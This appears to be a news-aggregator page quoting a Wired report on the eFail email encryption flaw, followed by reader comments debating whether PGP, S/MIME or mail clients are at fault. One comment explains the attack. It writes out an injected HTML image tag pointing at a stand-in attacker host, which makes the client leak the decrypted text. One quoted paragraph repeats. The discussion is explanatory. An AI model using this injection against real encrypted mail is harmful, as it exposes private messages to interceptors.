Encrypted Email Has a Major, Divisive Flaw (wired.com)
An anonymous reader quotes a report from Wired: The ubiquitous email encryption schemes PGP and S/MIME are vulnerable to attack, according to a group of German and Belgian researchers who posted their findings on Monday. The weakness could allow a hacker to expose plaintext versions of encrypted messages -- a nightmare scenario for users who rely on encrypted email to protect their privacy, security, and safety. The weakness, dubbed eFail, emerges when an attacker who has already managed to intercept your encrypted emails manipulates how the message will process its HTML elements, like images and multimedia styling. When the recipient gets the altered message and their email client -- like Outlook or Apple Mail -- decrypts it, the email program will also load the external multimedia components through the maliciously altered channel, allowing the attacker to grab the plaintext of the message.
The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them. PGP is a classic end-to-end encryption scheme that has been a go-to for secure consumer email since the late 1990s because of the free, open-source standard known as OpenPGP. But the whole point of doing the extra work to keep data encrypted from the time it leaves the sender to the time it displays for the receiver is to reduce the risk of access attacks -- even if someone can tap into your encrypted messages, the data will still be unreadable. eFail is an example of these secondary protections failing.
The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them. PGP is a classic end-to-end encryption scheme that has been a go-to for secure consumer email since the late 1990s because of the free, open-source standard known as OpenPGP. But the whole point of doing the extra work to keep data encrypted from the time it leaves the sender to the time it displays for the receiver is to reduce the risk of access attacks -- even if someone can tap into your encrypted messages, the data will still be unreadable. eFail is an example of these secondary protections failing.
Old news and it's not PGP and S/MIME, but the mail clients that can use them: Thunderbird and Apple Mail and Outlook. Probably also affects clients using GPG. Or any other encryption scheme.
PGP is not broken. GPG is not broken. S/MIME is not broken. The flaw is in how mail clients display email. Admittedly, a lot of them have the same issue.
It is not a flaw in PGP/GnuPG. It is a flaw in the email software, or rather several flaws in combination. The combination seems to be widespread unfortunately.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
This sentence stuck out to me:
The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them.
My response would be that if you're not worried about someone intercepting your email, then why are you encrypting it in the first place? This is essentially a MiTM attack, which is exactly what encryption is designed to protect against. If it can't protect against it, the encryption has completely failed.
I'd say that's the case here. This isn't one of those silly edge cases certain security people jump up and down over nothing. Like "well first you need root access, and then you can get an even higher level of security access!". This is a real, bona-fide hack. Congrats to the researchers who found something real.
Except the email is still encrypted at this point. How could they inject HTML into an encrypted email?
If you don't know the answer to that, maybe you should actually read the description of the flaw?
There are actually two flaws: one is a buggy mail reader application; it should be straightforward to fix the bug. The other is a problem with the spec for encrypting emails (i.e., S/MIME, or whatever the spec for PGP-encrypted email is called).
The mail reader bug is easier to explain: the encrypted email is not 100% encrypted. The contents are encrypted. But MIME messages contain some unencrypted metadata, such as the headers and boundary markers. So the way you inject HTML into an encrypted email is to add a new MIME text/html part before the encrypted part that contains: <img src="http://attackers.website/, and add a new MIME text/html part after the encrypted part that contains: ">. When the buggy mail reader processes the various MIME parts, it decrypts the encrypted part, resulting in HTML plaintext. Now here's the bug: it then joins all the HTML parts into a single HTML document for display, and that results in <img src="http://attackers.website/decrypted content">. So the mail reader app sends an HTTP request to the attacker's website containing the decrypted message in the URL.
The other flaw has to do with a known plaintext attack; if you want to know how that works, RTFA.
"So we should go back to RTF? Or heaven forbid... back to plain text?"
Yes, or rather, there are some of us never left plain text email, including using fixed width fonts and 80 column lines. If you send me HTML-only email, there's a really good chance I'll never bother to read it. I haven't been informed of a situation where in retrospect I have come to regret this policy.
I'm no Luddite, but not every "advancement" is an improvement.
PGP has message integrity checks.
When operating on files, PGP simply refuses to decrypt malformed (tampered) messages.
However, when invoked to process as a pipe, it will spit out the plaintext, then a warning.
Even though the client is at fault for ignoring the warning, arguably, PGP should be consistent and spew out only the warning.
But it doesn't have to do that.
In fact, if it does do that, it's broken.
Sending me executable code I didn't request is an attack. My e-mail client should never execute code from a message. Never. Not under any circumstances.
Tom Swiss | the infamous tms | my blog
You cannot wash away blood with blood